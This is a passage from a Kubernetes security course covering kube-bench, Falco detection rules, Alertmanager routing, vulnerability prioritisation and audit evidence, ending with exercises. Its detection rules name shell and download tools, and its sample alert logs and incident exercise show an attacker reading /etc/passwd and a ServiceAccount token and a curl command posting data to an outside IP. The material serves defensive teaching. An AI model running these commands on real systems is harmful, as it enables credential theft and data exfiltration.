== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
      If using command line arguments, edit the kubelet service file
      /etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true

== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARN

What to do with the findings

This is where many teams get lost: kube-bench returns dozens of checks and they are not all equally important nor all applicable.

Type of finding What to do
FAIL on the control plane High priority. They are usually specific configuration changes with documented remediation
FAIL on the kubelet High priority. Remember from 08-04 how important the kubelet configuration is
WARN Review case by case; it often depends on the environment
INFO Informational
Not applicable on managed Kubernetes Document as not applicable, do not silently ignore

That last point is important. On EKS, AKS or GKE you have no access to the control plane, so almost every check in section 1 is inapplicable. The right thing is not to ignore them: it is to document that the provider manages them and, if the organisation requires it, to ask the provider for its compliance report.

The findings from this example, resolved:

Finding Action Status
4.2.6 --protect-kernel-defaults Add it to the kubelet configuration and restart the nodes in batches Planned
4.2.12 kubelet certificate rotation Enable RotateKubeletServerCertificate Planned

And so as not to depend on manual runs, a weekly CronJob whose result feeds the same management process as the vulnerabilities:

apiVersion: batch/v1
kind: CronJob
metadata:
  name: kube-bench-weekly
  namespace: rutas-norte-sistema
spec:
  schedule: "0 5 * * 1"      # Mondays at 05:00
  jobTemplate:
    spec:
      template:
        spec:
          # (the same spec as the Job above)
          restartPolicy: Never
          containers:
            - name: kube-bench
              image: registry.rutasnorte.example/external/kube-bench:v0.8.0
              command:
                - sh
                - -c
                - |
                  kube-bench run --targets node --json > /tmp/result.json
                  failures=$(jq '[.Controls[].tests[].results[]
                                | select(.status == "FAIL")] | length' /tmp/result.json)
                  echo "Failed checks: $failures"
                  cat /tmp/result.json
                  # If they increase over the known baseline, exit with an error
                  [ "$failures" -le 2 ] || exit 1

Comparing against a known baseline is the key to making this useful: it does not alert on the already known and accepted findings, only on the new deviations. A tool that alerts on the same thing every week ends up silenced.

  1. Runtime detection with Falco

Everything above is preventive (blocking) or configuration-based (checking). Falco is detective: it observes what actually happens, as it happens.

What it observes

Falco intercepts the system calls made by the containers' processes, using eBPF or a kernel module. Every time a process opens a file, executes a binary, creates a connection or reads a descriptor, Falco sees it and compares it against its rules.

That is what lets it detect things no preventive control can:

Control When it acts What it does not see
RBAC (08-01) API requests Anything that happens inside the container
PSA (08-03) Pod creation What the pod does afterwards
NetworkPolicy (08-04) Network connections Local activity in the container
Scanning (section 5) Before deployment What happens at runtime
Falco Continuously, at runtime —

Installation

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace rutas-norte-sistema \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitoring:9093

modern_ebpf uses the kernel's eBPF support with no need to compile a module, which is the preferred option on recent kernels. Falco runs as a DaemonSet in rutas-norte-sistema because it needs node privileges: it is one of the legitimate cases from section 6 of 08-03.

Rules for Rutas Norte

# k8s/security/falco-rules-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-rules-rutasnorte
  namespace: rutas-norte-sistema
data:
  rutasnorte_rules.yaml: |
    # ============================================================
    # Reusable lists and macros
    # ============================================================
    - list: production_namespaces
      items: [rutas-norte-pro]

    - list: shell_binaries
      items: [bash, sh, zsh, ash, dash, ksh, csh, fish]

    - macro: in_production
      condition: k8s.ns.name in (production_namespaces)

    - macro: in_container
      condition: container.id != host

    # ============================================================
    # Rule 1: a shell opened in a production container
    # ============================================================
    # Our distroless images (08-05) have NO shell. A shell process
    # appearing in production means one of two things:
    #   a) somebody ran kubectl exec (it should show in the audit log), or
    #   b) somebody is running code inside the container.
    # Both require immediate investigation.
    - rule: Shell opened in production container
      desc: >-
        A shell process has been started inside a container in the
        production namespace. Rutas Norte images do not include a
        shell, so this should never happen.
      condition: >
        spawned_process
        and in_container
        and in_production
        and proc.name in (shell_binaries)
      output: >
        Shell opened in production
        (user=%user.name process=%proc.cmdline parent=%proc.pname
         container=%container.name image=%container.image.repository
         pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, production, shell, T1059]

    # ============================================================
    # Rule 2: a write to a system directory
    # ============================================================
    # All our containers carry readOnlyRootFilesystem: true
    # (08-02), so this should ALWAYS fail. If the attempt exists,
    # something is trying to modify system binaries or configuration.
    - rule: Write to system directory
      desc: >-
        An attempt to write to a system directory inside a
        container. With readOnlyRootFilesystem the attempt will fail, but
        its mere existence indicates anomalous activity.
      condition: >
        open_write
        and in_container
        and in_production
        and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
                                /lib, /etc, /boot)
        and not proc.name in (dpkg, apt, apk, rpm)
      output: >
        Write to system directory
        (file=%fd.name process=%proc.cmdline user=%user.name
         pod=%k8s.pod.name ns=%k8s.ns.name image=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, production, integrity, T1222]

    # ============================================================
    # Rule 3: reading the ServiceAccount token
    # ============================================================
    # In 03-06 we set automountServiceAccountToken: false on almost everything.
    # The few pods that do mount it read it through their client
    # library. A read from a shell or a generic utility is
    # the classic reconnaissance pattern after a compromise.
    - rule: ServiceAccount token read by unexpected process
      desc: >-
        A process that is not the application has read the
        ServiceAccount token mounted in the pod.
      condition: >
        open_read
        and in_container
        and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
        and not proc.name in (node, python3, java, nginx, postgres, redis-server)
      output: >
        ServiceAccount token read by unexpected process
        (process=%proc.cmdline user=%user.name parent=%proc.pname
         pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
      priority: CRITICAL
      tags: [rutasnorte, credentials, T1552]

    # ============================================================
    # Rule 4: an unexpected outbound connection
    # ============================================================
    # It complements the NetworkPolicy from 08-04: the policy BLOCKS, Falco
    # LOGS the attempt along with the process that made it, which is information
    # the policy cannot provide.
    - rule: Outbound connection from component without egress permission
      desc: >-
        A component that must not reach the internet has attempted to open an
        outbound connection. The NetworkPolicy will block it, but we log
        which process attempted it.
      condition: >
        outbound
        and in_container
        and in_production
        and k8s.pod.label.app in (web-store, bookings-postgres, redis-cache,
                                  occupancy-reports)
        and not fd.sip in (cluster_cidr)
        and not fd.sport in (53)
      output: >
        Unexpected outbound connection
        (destination=%fd.sip:%fd.sport process=%proc.cmdline
         pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
      priority: WARNING
      tags: [rutasnorte, network, exfiltration, T1041]

    # ============================================================
    # Rule 5: download tools in production
    # ============================================================
    - rule: Download tool executed in production
      desc: >-
        curl, wget or another download tool has been executed inside
        a production container. Our images do not include them.
      condition: >
        spawned_process
        and in_container
        and in_production
        and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
      output: >
        Download tool in production
        (process=%proc.cmdline parent=%proc.pname pod=%k8s.pod.name
         image=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, production, T1105]

    # ============================================================
    # Rule 6: modifying the container configuration
    # ============================================================
    - rule: Runtime socket accessed
      desc: >-
        A process has accessed the containerd or Docker socket. As
        we saw in 08-02, that is equivalent to node privileges.
      condition: >
        (open_read or open_write)
        and in_container
        and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
                        /var/run/crio/crio.sock)
      output: >
        Runtime socket accessed
        (file=%fd.name process=%proc.cmdline pod=%k8s.pod.name
         ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, escape, T1610]

Notice the thread running through every rule: each one rests on a design decision from the earlier lessons. The shell rule works because we use distroless images (08-05). The system-write one, because we set readOnlyRootFilesystem (08-02). The token one, because we unmounted the unnecessary tokens (03-06). The egress one, because we restricted outbound traffic (08-04).

A good detection rule set is not generic: it is the reflection of what your platform should and should not do. And for that very reason, the stricter the configuration, the more meaningful each alert is and the fewer false positives there are.

Viewing the alerts

kubectl logs -n rutas-norte-sistema -l app.kubernetes.io/name=falco --tail=20 | grep Critical
03:47:08.229481022: Critical Shell opened in production (user=root
process=sh -c "cat /etc/passwd" parent=node container=worker
image=registry.rutasnorte.example/rutasnorte/notifications-worker
pod=notifications-worker-6d4f8b9c7-k9x2 ns=rutas-norte-pro)

03:47:09.884113047: Critical ServiceAccount token read by unexpected process
(process=cat /var/run/secrets/kubernetes.io/serviceaccount/token user=root
parent=sh pod=notifications-worker-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=notifications-worker)

That is the same pod from the 08-04 exercise, now seen from the inside. Falco tells us exactly which process was launched and with what command line. Combined with Hubble's network flows and the audit log's 403s, we have the complete reconstruction of the incident from three independent sources.

  1. Integrating Falco alerts with Alertmanager

In module 7 we set up Alertmanager with its routes, its silences and its channels. Falco must use that infrastructure, not create a parallel one.

Falcosidekick is the component that forwards Falco alerts to different destinations:

# k8s/security/falcosidekick-values.yaml
falcosidekick:
  enabled: true
  config:
    # Sends to Alertmanager, which already knows how to route (07-04)
    alertmanager:
      hostport: "http://alertmanager.monitoring.svc.cluster.local:9093"
      minimumpriority: "warning"
      # Labels that make routing in Alertmanager possible
      customfields: "platform:rutas-norte,source:falco"
      extralabels: "team:platform"
    # Metrics for Prometheus: it enables dashboards and aggregate alerts
    prometheus:
      extralabels: "platform:rutas-norte"
    # The events also go to the centralised log (07-05)
    elasticsearch:
      hostport: "http://elasticsearch.logging.svc.cluster.local:9200"
      index: "falco-security"
      minimumpriority: "notice"

And the route in Alertmanager:

# k8s/base/monitoring/alertmanager-config.yaml (fragment)
route:
  receiver: platform-team
  group_by: [alertname, namespace]
  routes:
    # Critical security alerts: a dedicated channel and immediate notification
    - matchers:
        - source = "falco"
        - severity = "critical"
      receiver: security-urgent
      group_wait: 0s              # no grouping: it is sent instantly
      repeat_interval: 15m
      continue: true              # keep evaluating: also to the general channel

    - matchers:
        - source = "falco"
      receiver: security-general
      group_interval: 5m

receivers:
  - name: security-urgent
    webhook_configs:
      - url: https://alerts.rutasnorte.example/security-on-call
    # Besides the on-call rota, to the team channel
    # (channel configuration according to the organisation's tooling)

  - name: security-general
    webhook_configs:
      - url: https://alerts.rutasnorte.example/security-channel

Configuration details that matter:

  • group_wait: 0s for the critical ones: during an ongoing incident, grouping for 30 seconds is time wasted.
  • continue: true: the alert goes to the on-call rota and to the team channel, so that there is a visible record.
  • Elasticsearch as well as Alertmanager: the alerts become searchable alongside module 7's logs, which allows correlation during the investigation.

And an aggregate rule in Prometheus, to detect patterns an individual alert does not capture:

apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: falco-alerts
  namespace: monitoring
spec:
  groups:
    - name: runtime-security
      rules:
        - alert: SecurityAlertBurst
          expr: |
            sum by (k8s_ns_name, k8s_pod_name) (
              rate(falco_events{priority=~"Critical|Error"}[5m])
            ) > 0.1
          for: 2m
          labels:
            severity: critical
            team: platform
            source: falco-aggregate
          annotations:
            summary: >-
              Burst of security events in {{ $labels.k8s_pod_name }}
            description: >-
              Pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} is
              generating critical Falco events in a sustained way. An isolated
              event may be a legitimate operation; a burst indicates
              anomalous activity in progress.
              Containment procedure: isolate the pod by changing its app
              label and apply the quarantine NetworkPolicy.
            runbook_url: https://wiki.rutasnorte.example/runbooks/falco-incident

        - alert: FalcoNotRunning
          expr: |
            count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
            or
            kube_daemonset_status_number_ready{daemonset="falco"}
              < kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
          for: 10m
          labels:
            severity: critical
            team: platform
          annotations:
            summary: "Falco is not running on every node"
            description: >-
              Without Falco on a node, its containers' activity is not
              observed. An attacker could disable it deliberately.

That second alert is as important as the first ones and it is constantly forgotten: you have to watch that the watcher is working. A detection system that is switched off generates no alerts, and the absence of alerts is very easily mistaken for the absence of problems.

Reducing the noise

A freshly installed Falco generates many false positives. The process is the same one we have followed with PSA and the WAF:

  1. Deploy and observe for a week or two without routing alerts to anybody.
  2. Identify the legitimate patterns that trigger rules.
  3. Add specific exceptions (do not disable the whole rule).
  4. Only then, route to the on-call rota.
    # An example of a well-scoped exception
    - rule: Shell opened in production container
      append: true
      exceptions:
        - name: log_collector_probes
          fields: [k8s.pod.label.app, proc.pname]
          comps: [=, =]
          values:
            - [fluent-bit, tini]

An exception by application label and parent process is specific. Disabling the rule across a whole namespace is not. The difference decides whether the tool is worth anything six months from now.

  1. Vulnerability management as a process

Here we reach what is genuinely missing in most teams. Having tools that find vulnerabilities is the easy part. The hard part is doing something with them, sustainably.

The failure pattern is always the same: a scanner is installed, it throws up 340 findings, nobody knows where to start, it is decided that "we will look at it next week", and six months later there are 780 and nobody is looking at them.

The five elements of the process

flowchart LR
    A["1. Inventory<br/>what do I have?"] --> B["2. Prioritisation<br/>what matters?"]
    B --> C["3. Deadlines<br/>by when?"]
    C --> D["4. Owner<br/>who?"]
    D --> E["5. Exceptions<br/>what am I not fixing<br/>and until when?"]
    E --> A

  1. Inventory

You cannot manage what you do not know. The inventory answers: which images are running, with which digest, what they contain, and since when.

We already have the pieces from 08-05: our own registry, the digests and the SBOMs. They just have to be put together:

#!/usr/bin/env bash
# security/inventory.sh — an inventory of what runs in production
kubectl get pods -n rutas-norte-pro -o json | jq -r '
  .items[]
  | .metadata.labels.app as $app
  | .status.containerStatuses[]?
  | "\($app)\t\(.name)\t\(.imageID)"' | sort -u
bookings-api	api	registry.rutasnorte.example/rutasnorte/bookings-api@sha256:9f2c1d4e...
bookings-api	payments-ambassador	registry.rutasnorte.example/rutasnorte/payments-ambassador@sha256:3c8e1f5a...
bookings-postgres	metrics-exporter	registry.rutasnorte.example/external/postgres-exporter@sha256:1b4e7a2c...
bookings-postgres	postgres	registry.rutasnorte.example/external/postgres@sha256:2a7f4c8d...
redis-cache	redis	registry.rutasnorte.example/external/redis@sha256:6d1a3f9b...
web-store	nginx	registry.rutasnorte.example/external/nginx-unprivileged@sha256:7d3b2f8e...
notifications-worker	log-adapter	registry.rutasnorte.example/rutasnorte/log-adapter@sha256:4f2c9e1d...
notifications-worker	worker	registry.rutasnorte.example/rutasnorte/notifications-worker@sha256:5e8a1b7c...

Eight images. An inventory that fits on one screen is an inventory that can be managed.

  1. Realistic prioritisation

This is the most important section and the worst understood.

Not every critical CVE is urgent. A CVE's severity (the CVSS) measures how serious it is in the abstract, without knowing your environment. A CVSS 9.8 in a component that is not on your execution path, or that does not process external input, is less urgent than a CVSS 6.5 in the library that parses bookings-api's HTTP requests.

The factors that have to be combined:

Factor Question Weight
Severity (CVSS) How serious is it in the abstract? A starting point
Is there a fix? Can I update today? High: with no fix there is no action
Is it actively exploited? Is it in the KEV catalogue of exploited vulnerabilities? Very high
Exposure Does the component serve internet requests? Very high
Execution path Is the vulnerable code actually used? High
Data affected Does it give access to personal data? Very high
Compensating controls Are there controls that mitigate it? Medium

Applied to Rutas Norte with two real findings:

CVE-2026-12033 (jsonwebtoken) CVE-2026-11042 (libssl3)
Severity CRITICAL (9.1) HIGH (7.5)
Fix? Yes: 9.0.3 Yes: 3.0.15-1
In KEV? No No
Component bookings-api, internet-facing bookings-api
Is the path used? Yes: it validates the session tokens of every request No: the affected path is TLS renegotiation, which we do not use
Personal data? Yes: the session gives access to the customer's bookings Indirectly
Compensating controls None TLS is terminated by the Ingress (04-05), not the application
Priority P1: fix within 24 h P3: in the normal cycle

Both have a fix. One is critical and the other high. But the first directly affects session validation in a public API that gives access to customer data, and the second is in a code path that is not even executed. Treating them the same would be a management error in both directions: it would delay the urgent one and force unnecessary haste on the other.

Tools that help with this prioritisation:

Source What it brings
KEV (known exploited vulnerabilities catalogue) A list of CVEs with confirmed exploitation. If it is here, it is P1
EPSS (exploit prediction scoring system) The probability of exploitation in the next 30 days
VEX (vulnerability exploitability exchange) The vendor's statement on whether its product is actually affected
Our own SBOM (08-05) Whether the component is on the execution path or not 
# Trivy can incorporate EPSS and KEV into the report
trivy image --scanners vuln \
  --vex repo \
  --severity CRITICAL,HIGH \
  registry.rutasnorte.example/rutasnorte/bookings-api:2.7.1

  1. Deadlines by severity

With no deadlines, "we will fix it when we can" means never. The Rutas Norte table:

Priority Criterion Fix deadline Escalation if missed
P1 Critical and exploitable in an exposed component, or present in KEV 24 hours Technical management immediately
P2 Critical or high with a fix, in an exposed component 7 days The platform lead after 7 days
P3 High with a fix, in a non-exposed component 30 days Monthly review
P4 Medium 90 days The normal update cycle
P5 Low, or with no fix available The next scheduled rebuild Quarterly review

These deadlines run from detection, not from the CVE's publication. And there is an operational consequence to accept: meeting 24 hours for a P1 requires the rebuild, scan, sign and deploy process to work in less than that. It is exactly the argument from 08-05 about rebuilding weekly: a procedure that runs often is a procedure that responds when needed.

  1. An assigned owner

Area Owner
Application dependencies (npm, PyPI) The team that maintains the component
Base images Platform
Mirrored public images (external/) Platform
Cluster configuration (kube-bench findings) Platform
Decisions on exceptions Platform + security
Exceptions affecting personal data + the compliance officer

With no name attached, every finding is everybody's responsibility, which is the most effective way of making it nobody's.

  1. Documented exceptions with an expiry date

There will be vulnerabilities that cannot be fixed in time. That is normal and acceptable if it is managed.

# security/vulnerability-exceptions.yaml
# Register of current exceptions. Monthly review.
# An expired exception blocks the build until it is renewed or fixed.

exceptions:
  - cve: CVE-2025-98004
    component: zlib1g
    images: ["rutasnorte/bookings-api", "rutasnorte/notifications-worker"]
    severity: LOW
    reason: >-
      No fix available from the maintainer. The affected code path
      (decompressing malformed gzip streams) is not executed: the application
      does not decompress content from external sources.
    mitigation: >-
      The Ingress rejects compressed bodies larger than 2 MB (08-04).
    approved_by: security
    owner: platform
    approval_date: 2026-08-01
    expiry_date: 2026-10-01     # MANDATORY
    review: monthly

  - cve: CVE-2026-10877
    component: libc6
    images: ["rutasnorte/bookings-api"]
    severity: MEDIUM
    reason: >-
      The fix requires moving the base image to Debian 13, which breaks
      compatibility with a native dependency. Migration planned.
    mitigation: >-
      The component runs without root, with capabilities dropped and a
      read-only file system (08-02).
    approved_by: security
    owner: api-team
    approval_date: 2026-07-15
    expiry_date: 2026-09-15
    ticket: PLAT-1847
    review: fortnightly

And the automatic check that gives the expiry date its meaning:

#!/usr/bin/env bash
# ci/verify-exceptions.sh
# Fails if there are expired exceptions. It runs on every build.
set -euo pipefail
TODAY=$(date -u +%Y-%m-%d)
expired=0

while read -r cve expiry owner; do
  if [[ "$expiry" < "$TODAY" ]]; then
    echo "EXPIRED: $cve (expired on $expiry, owner: $owner)"
    expired=$((expired + 1))
  fi
done < <(yq -r '.exceptions[] | "\(.cve) \(.expiry_date) \(.owner)"' \
           security/vulnerability-exceptions.yaml)

if [[ "$expired" -gt 0 ]]; then
  echo
  echo "There are $expired expired exceptions. Fix the vulnerability or"
  echo "renew the exception with security approval before continuing."
  exit 1
fi
echo "All exceptions current."

This is what turns an exception into a managed decision instead of a permanent oversight. Without an expiry date, .trivyignore becomes the graveyard where the vulnerabilities nobody wanted to look at go to die.

The rhythm of the process

Frequency Activity Who
Every build Scan with a threshold; check for expired exceptions Automatic
Daily Audit report; review of Falco alerts Platform (15 min)
Weekly Scan of the registry and of what is running; kube-bench Automatic + review
Weekly Scheduled rebuild of every image (08-05) Automatic
Fortnightly Review of open P2 and P3 findings Platform
Monthly Review of exceptions approaching expiry Platform + security
Quarterly Review of RBAC (08-01), network policies (08-04) and exceptions Platform + security
Quarterly Review of access to personal data + compliance
Annually Full review of the security design Management + external security

  1. Evidence and compliance audits

When an audit comes along —for a certification, from a corporate customer or from a supervisory authority— it is not enough to say "yes, we have controls". You have to prove it with evidence.

What audits ask for and where it comes from

The auditor's question Evidence Source
Who can access the personal data? The output of kubectl auth can-i per group, dated 08-01
Who actually accessed it last quarter? An audit log query on Secrets This lesson
How do you guarantee that only approved software runs? Admission policies + signature verification 08-03, 08-05
How do you detect anomalous activity? Falco rules + Hubble alerts This lesson, 08-04
What is your vulnerability management process? The process document + the exception register This lesson
How long do you take to fix a critical vulnerability? A history of actual versus committed deadlines The ticket system
Is the personal data storage encrypted? The StorageClass configuration + etcd encryption 05-04, 08-04
How is the backup protected? The Velero configuration + encryption 05-06
Are permissions reviewed periodically? Minutes of the quarterly reviews 08-01

What evidence to keep and for how long

Evidence Suggested retention Reason
The apiserver audit log 90 days hot, 1 year cold Incident investigation; many are detected months later
Falco alerts 1 year Correlation during investigations
Image scan reports 1 year Proving the state at a given moment
kube-bench reports 1 year Compliance over time
The exception register (historical) Permanent Proving the decisions were conscious
Minutes of the quarterly reviews 3 years Proving the process's regularity
Image signatures and attestations While the image is deployed + 1 year Traceability of what ran

A data protection consideration about the audit log itself. The audit log contains user names, IP addresses and timestamps: they are employees' personal data. Their processing needs its own legal basis, its defined retention period and its access control. It is not a neutral technical file. The retention period must be set by the compliance officer, balancing the need for investigation against the minimisation principle.

And a practical recommendation: automate the generation of evidence. A quarterly report that generates itself, with a date and a signature, is worth more than a document somebody writes by hand the week before the audit.

#!/usr/bin/env bash
# security/generate-quarterly-evidence.sh
QUARTER=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidence/$QUARTER"
mkdir -p "$DIR"

echo "Generating evidence for $QUARTER..."

# 1. Who can access production Secrets
{
  echo "# Permissions on Secrets in rutas-norte-pro — $(date -u)"
  for group in development platform support analytics; do
    for verb in get list watch; do
      printf "%-12s %-6s %s\n" "$group" "$verb" \
        "$(kubectl auth can-i "$verb" secrets --as-group "$group" --as auditor -n rutas-norte-pro)"
    done
  done
} > "$DIR/secret-permissions.txt"

# 2. Actual accesses recorded
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "ALL") \(.responseStatus.code)"' \
  /var/log/kubernetes/audit.log > "$DIR/secret-accesses.txt"

# 3. Vulnerability status
kubectl get vulnerabilityreports -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
  > "$DIR/vulnerabilities.txt"

# 4. Current exceptions
cp security/vulnerability-exceptions.yaml "$DIR/"

# 5. Cluster compliance
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"

# 6. Namespace security configuration
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
  > "$DIR/psa-profiles.txt"

echo "Evidence generated in $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"

The final sha256sum is not decorative: it makes it possible to prove that the evidence has not been modified after being generated.

  1. Final platform security checklist

This is the operational summary of the whole module, component by component.

Cluster-wide controls

# Control Lesson Verification
1 Least-privilege RBAC, no wildcards 08-01 verify-rbac.sh on every change
2 Nobody holds cluster-admin permanently except a logged emergency 08-01 Quarterly ClusterRoleBinding query
3 Only platform can read production Secrets 08-01 kubectl auth can-i per group
4 Privileged operators in their own namespace 08-01, 08-03 Manifest review
5 PSA enforce: restricted in pre and pro, baseline in dev 08-03 The namespace labels
6 PSA version pinned (-version) 08-03 The namespace labels
7 Kyverno: mandatory registry, labels, resources, signatures 08-03, 08-05 PolicyReport with no fail
8 A ValidatingAdmissionPolicy forbidding latest 08-03 A negative test
9 deny-all NetworkPolicy in the three namespaces, generated by Kyverno 04-06, 08-04 Policy audit
10 Egress control: only the payment gateway and SMTP 08-04 verify-egress.sh
11 No NodePort or hostPort in production 08-04 Service audit
12 The apiserver is not publicly exposed 08-04 kubectl cluster-info
13 etcd encrypted at rest, with the Secrets rewritten 08-04 The apiserver configuration
14 etcd backups encrypted and in safe custody 08-04, 05-06 The backup configuration
15 kubelet: no anonymous auth, no read-only port 08-04 kube-bench
16 Control plane nodes tainted and free of application workloads 08-04 Toleration audit
17 Audit log enabled, with a reviewed policy 08-06 The daily report
18 Falco deployed on every node, with an alert if it fails 08-06 The FalcoNotRunning alert
19 Trivy Operator with reports showing no unexcepted criticals 08-06 vulnerabilityreports
20 Weekly kube-bench with a known baseline 08-06 The CronJob

By component

Component No root RootFS RO Caps ALL Seccomp SA token Digest Signature NetPol in/out
web-store Yes (101) Yes Yes Yes Not mounted Yes Yes Ingress in / no egress
bookings-api Yes (65532) Yes Yes Yes Mounted, minimal RBAC Yes Yes In from store+Ingress / out to DB, cache, gateway
Payments ambassador Yes (10004) Yes Yes Yes (the pod's) Yes Yes (the pod's)
bookings-postgres Yes (999) No (exception) Yes Yes Not mounted Yes Yes In from api+worker+reports / no egress
Metrics exporter Yes (65534) Yes Yes Yes (the pod's) Yes Yes (the pod's)
redis-cache Yes (999) Yes Yes Yes Not mounted Yes Yes In from api / no egress
notifications-worker Yes (10002) Yes Yes Yes Not mounted Yes Yes No ingress / out to DB + SMTP
Log adapter Yes (10002) Yes Yes Yes (the pod's) Yes Yes (the pod's)
occupancy-reports Yes (10003) Yes Yes Yes Not mounted Yes Yes No ingress / out to DB
Log collector No (root, justified) Yes DAC_READ_SEARCH Yes Mounted, read-only RBAC Yes Yes System namespace

Current exceptions and their justification

Exception Component Justification Review Owner
readOnlyRootFilesystem: false bookings-postgres PostgreSQL writes sockets and temporary files outside the volume. An open task to resolve it with emptyDir Quarterly Platform
Read-only hostPath The log collector It needs to read the node's /var/log. In rutas-norte-sistema with the privileged profile Quarterly Platform
runAsUser: 0 The log collector The node's logs belong to root. Mitigated: unprivileged, only DAC_READ_SEARCH, read-only mount Quarterly Platform
hostPID kube-bench (CronJob) It needs to inspect the node's configuration. Read-only, bounded weekly run Quarterly Platform
CVE-2025-98004 bookings-api, worker No fix; the path is not executed 2026-10-01 Platform
CVE-2026-10877 bookings-api Requires a base image migration 2026-09-15 API team

An exception list that fits in a table and in which every line has a reason, a date and an owner is the sign of a well-managed platform. A list that does not exist, or that nobody has looked at in a year, means the exceptions are there just the same: they are simply unknown.

Common Mistakes and Tips

Configuring RequestResponse on Secrets. It writes the secret's contents into the audit log. The customer database credentials would end up replicated into the logging system and its backups. Always Metadata for Secrets.

Logging everything without filtering the noise. The volume explodes, the disk fills up and —worst of all— if the apiserver cannot write the audit log, it stops serving requests. Put the None rules first.

Sending the audit log to the same system the pods write to. Whoever compromises the cluster can tamper with the evidence. It must go to a destination the cluster can only write to.

Forgetting that the audit log contains personal data. Employees' user names and IPs. It needs its own legal basis, retention and access control.

Scanning only in the pipeline. An image that was clean in June has criticals in August. Continuously scan the registry and what is running.

Scanning the manifests instead of what is running. Scan by imageID (the effective digest), which is what is actually executing.

Not using --ignore-unfixed. An unpatched vulnerability blocks every deployment, the team gets fed up and disables the check. A gate that is always shut ends up dismantled.

A .trivyignore with no reason, owner or expiry date. It becomes the graveyard of the vulnerabilities nobody wanted to look at.

Treating every critical CVE as equally urgent. Without considering exposure, execution path and real exploitation, the team exhausts itself on the irrelevant and arrives late to what matters.

Ignoring kube-bench findings that are inapplicable on managed Kubernetes. Document them as managed by the provider, do not delete them in silence.

Alerting on the same known findings every week. Compare against a baseline and alert only on new deviations.

Deploying Falco and routing its alerts to the on-call rota from day one. The initial false positives will make the team silence the channel, and with it the real alerts.

Disabling a whole Falco rule because of one false positive. Use exceptions scoped by application and process.

Not watching that Falco is running. A detector that is switched off generates no alerts, and the absence of alerts is mistaken for the absence of problems.

Having tools with no process. Three hundred findings with no inventory, priority, deadline or owner are three hundred things nobody is going to fix.

Generating the evidence the week before the audit. Automate it, with a date and a checksum. As well as being more credible, it saves the panic.

Golden tip: the three questions you must be able to answer at any moment, with evidence, are: who accessed the customer data?, which exploitable vulnerabilities do I have right now in what is running? and what is happening inside my containers?. Auditing, continuous scanning and runtime detection. If one is missing, you have a blind spot.

Exercises

Exercise 1: write an audit policy rule

The compliance team asks to be able to answer this question: "who has modified the configuration of the production CronJobs and what exactly changed?". It also wants the kubelet's routine ConfigMap reads to stop taking up space in the log.

  1. Write the two audit policy rules needed, stating where they must go in the file's order and why.
  2. Write the jq query that answers the question.
  3. Explain why the chosen level is the right one and what would have happened with the other three.

Exercise 2: prioritise four findings

The weekly scan returns these four findings in production:

# CVE Severity Component Image Status Detail
A CVE-2026-13001 CRITICAL (9.8) libxml2 bookings-postgres fixed Remote execution when parsing malformed XML. PostgreSQL uses libxml2 only for the xml data type, which Rutas Norte does not use
B CVE-2026-13045 HIGH (8.1) express bookings-api fixed Type confusion when parsing query parameters. In the KEV catalogue
C CVE-2026-12988 CRITICAL (9.4) openssl notifications-worker affected No fix. It affects client certificate verification; the worker only acts as a TLS client towards SMTP
D CVE-2026-13102 MEDIUM (5.3) nginx web-store fixed Information disclosure in error responses when server_tokens is enabled

For each one:

  1. Assign a priority (P1-P5) according to the table in section 10 and justify it.
  2. State the concrete action and the deadline.
  3. For those that are not fixed immediately, write the exception register entry.

Exercise 3: reconstruct an incident from three sources

At 03:47 on 6 August an alert fires. You have three sources of information:

Audit log:

03:47:09Z  system:serviceaccount:rutas-norte-pro:notifications-worker  list  secrets/-  403
03:47:14Z  system:serviceaccount:rutas-norte-pro:notifications-worker  create  pods/exec  403
03:47:31Z  system:serviceaccount:rutas-norte-pro:notifications-worker  get  configmaps/worker-config  200

Falco:

03:47:08.229 Critical Shell opened in production (process=sh -c "cat /etc/passwd"
parent=node pod=notifications-worker-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical ServiceAccount token read by unexpected process
(process=cat /var/run/secrets/kubernetes.io/serviceaccount/token parent=sh
pod=notifications-worker-6d4f8b9c7-k9x2)
03:47:12.155 Critical Download tool in production (process=curl -X POST
https://192.0.2.55/r -d @- parent=sh pod=notifications-worker-6d4f8b9c7-k9x2)

Hubble (from 08-04):

03:47:12.401 rutas-norte-pro/notif-worker-k9x2 -> 192.0.2.55:443  DROPPED  Policy denied
03:47:13.455 rutas-norte-pro/notif-worker-k9x2 -> 192.0.2.55:53   DROPPED  Policy denied
